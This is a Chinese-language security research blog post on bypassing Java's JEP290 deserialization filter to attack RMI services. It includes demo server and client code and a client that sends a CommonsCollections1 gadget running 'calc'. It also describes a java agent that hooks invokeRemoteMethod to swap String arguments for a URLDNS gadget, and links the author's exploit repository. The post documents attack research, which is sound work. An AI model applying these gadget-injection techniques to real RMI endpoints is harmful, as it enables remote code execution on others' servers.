文章首發在安全客:https://www.anquanke.com/post/id/200860
1、前言
上一篇文章jmx攻擊利用方式,通過修改參數為gadget實現攻擊,本文與上一篇原理很類似。在2月份的時候 0c0c0f師傅寫的是動態替換rmi通訊時候函數參數的值,也就是老外實現的方法。本文借鑒外國的安全研究員的第二個思路,寫了Rasp hook InvokeRemoteMethod函數的代碼修改為gadget。
2、JEP290
什么是JEP290?
1、提供一個限制反序列化類的機制,白名單或者黑名單。
2、限制反序列化的深度和復雜度。
3、為RMI遠程調用對象提供了一個驗證類的機制。
4、定義一個可配置的過濾機制,比如可以通過配置properties文件的形式來定義過濾器。
簡單來說,就是ysoserial中的所有gadget已經加入黑名單了,底層JDK實現的防御反序列化攻擊,當然,如果在出現新的gadget也可以bypass JEP290,但是挖jdk gadget有多難,大家理解一下Jdk7u21和Jdk8u20兩條gadget實現原理就知道有多難了。
JEP290有哪些java版本支持?

如果,jdk版本在上圖以下,攻擊方式有倆種:
1、可以通過RMIRegistryExploit攻擊

2、可以通過JRMPClient攻擊

在上圖jdk版本以上的ysoserial中的gadget是打不了的,RMIRegistryExploit和JRMPClient也被加入黑名單了,0c0c0f師傅已經測了,具體的看他寫的文章:https://mp.weixin.qq.com/s/TbaRFaAQlT25ASmdTK_UOg
3、RMI反序列化bypass JEP290
廢話不多bb,先給出rmi運行的Demo。
RmiServer端代碼,注冊的兩個函數afanti只能接收String類型參數,afnati1能接收Object 類型參數:
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class Server {
public static void main(String[] args) throws Exception{
Hello hello = new HelloImpl();
LocateRegistry.createRegistry(1234);
String url = "rmi://127.0.0.1:1234/Hello";
Naming.bind(url, hello);
System.out.println("rmi server is running ...");
}
}
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface Hello extends Remote {
public String afanti(String msg) throws RemoteException;
public void afanti2(Object msg) throws RemoteException;
}
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class HelloImpl extends UnicastRemoteObject implements Hello {
public HelloImpl() throws RemoteException {
super();
}
public String afanti(String msg){
System.out.println(msg);
return msg;
}
public void afanti2(Object msg){
System.out.println(msg.toString());
}
}
RmiClient代碼:
import RmiServer.Hello;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1234);
Hello hello = ( Hello ) registry.lookup("Hello");
hello.afanti("this is RMI SPEAKING");
}
}
如果正常客戶端調用afanti方法,運行就是如下結果:

改一下客戶端代碼,在afanti2注入gadget有什么效果呢?
import RmiServer.Hello;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1234);
Hello hello = (Hello)registry.lookup("Hello");
CommonsCollections1 cc1 = new CommonsCollections1();
hello.afanti2(cc1.getObject("calc"));
hello.afanti("this is RMI SPEAKING");
}
}
效果就是這樣,

上面的第一種攻擊方式也就是0c0c0f師傅說的:如果暴露的函數有對象類型參數,那么直接就可以利用,為什么能攻擊成功呢?因為rmi是基於100%反序列化的。
rmi在反序列化時,會調用unmarshalValue方法判斷類型參數,如果是非Object類型參數,那是打不成功的。
protected static Object unmarshalValue(Class<?> type, ObjectInput in)
throws IOException, ClassNotFoundException
{
if (type.isPrimitive()) {
if (type == int.class) {
return Integer.valueOf(in.readInt());
} else if (type == boolean.class) {
return Boolean.valueOf(in.readBoolean());
} else if (type == byte.class) {
return Byte.valueOf(in.readByte());
} else if (type == char.class) {
return Character.valueOf(in.readChar());
} else if (type == short.class) {
return Short.valueOf(in.readShort());
} else if (type == long.class) {
return Long.valueOf(in.readLong());
} else if (type == float.class) {
return Float.valueOf(in.readFloat());
} else if (type == double.class) {
return Double.valueOf(in.readDouble());
} else {
throw new Error("Unrecognized primitive type: " + type);
}
} else {
return in.readObject();
}
}
大多數接口不提供接受任意對象作為參數的方法,怎么辦呢?要知道攻擊者可以完全控制客戶端的,調試時正常的demo,invokeRemoteMethod的第三個參數是傳入的值。

因此可以用惡意對象替換從Object類派生的參數(例如String),所以就給出了bypass的思路如下:

實際0c0c0f師傅實現的方法就是通過實現代理來替換網絡流上已經序列化的對象。本文嘗試使用第三個方法。通過RASP hook住java.rmi.server.RemoteObjectInvocationHandler類的InvokeRemoteMethod方法的第三個參數非Object的改為Object的gadget。
具體Rasp可以用下圖來表示,RASP的知識,網上資料很多,這里就不贅述了:

這里gadget用的是URLDNS這條,下圖是改參數的地方

Hook invokeRemoteMethod函數,參考的最后一個raspdemo寫的。

客戶端代碼還是正常的demo
import RmiServer.Hello;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1234);
Hello hello = ( Hello ) registry.lookup("Hello");
hello.afanti("this is RMI SPEAKING");
}
}
最后通過mvn package打包,運行RmiClient前,VM options參數填寫:-javaagent:C:\Users\xxx\RemoteObjectInvocationHandler\target\rasp-1.0-SNAPSHOT.jar

下斷在跟一下,InvokeRemoteMethod的第三個參數已經修改為URLDNS gadget。

控制台實際會觸發argument type mismatc錯誤,但不影響執行反序列化操作,看DNS平台已經收到回顯。

最后放上代碼的地址:https://github.com/Afant1/RemoteObjectInvocationHandler.git
4、總結
即使暴露的函數非Object參數類型的,也是可以被攻擊的。說起來攻防永遠在轉換過程中,即使出了防御機制,研究人員還是能找到bypass的點,期待什么時候java反序列化能夠徹底杜絕。上面研究內容是之前研究的,說起來慚愧,最近沒開學,在家整理文檔,發現這個有意思的點,所以才發出來,看看有時間嗎,可能在分享一些有意思的點。最后,文章寫的難免有些疏漏,還請各位師傅斧正。
參考鏈接
https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/
https://openjdk.java.net/jeps/290
https://mp.weixin.qq.com/s/TbaRFaAQlT25ASmdTK_UOg
https://xz.aliyun.com/t/1631
https://github.com/linxin26/javarespdemo/
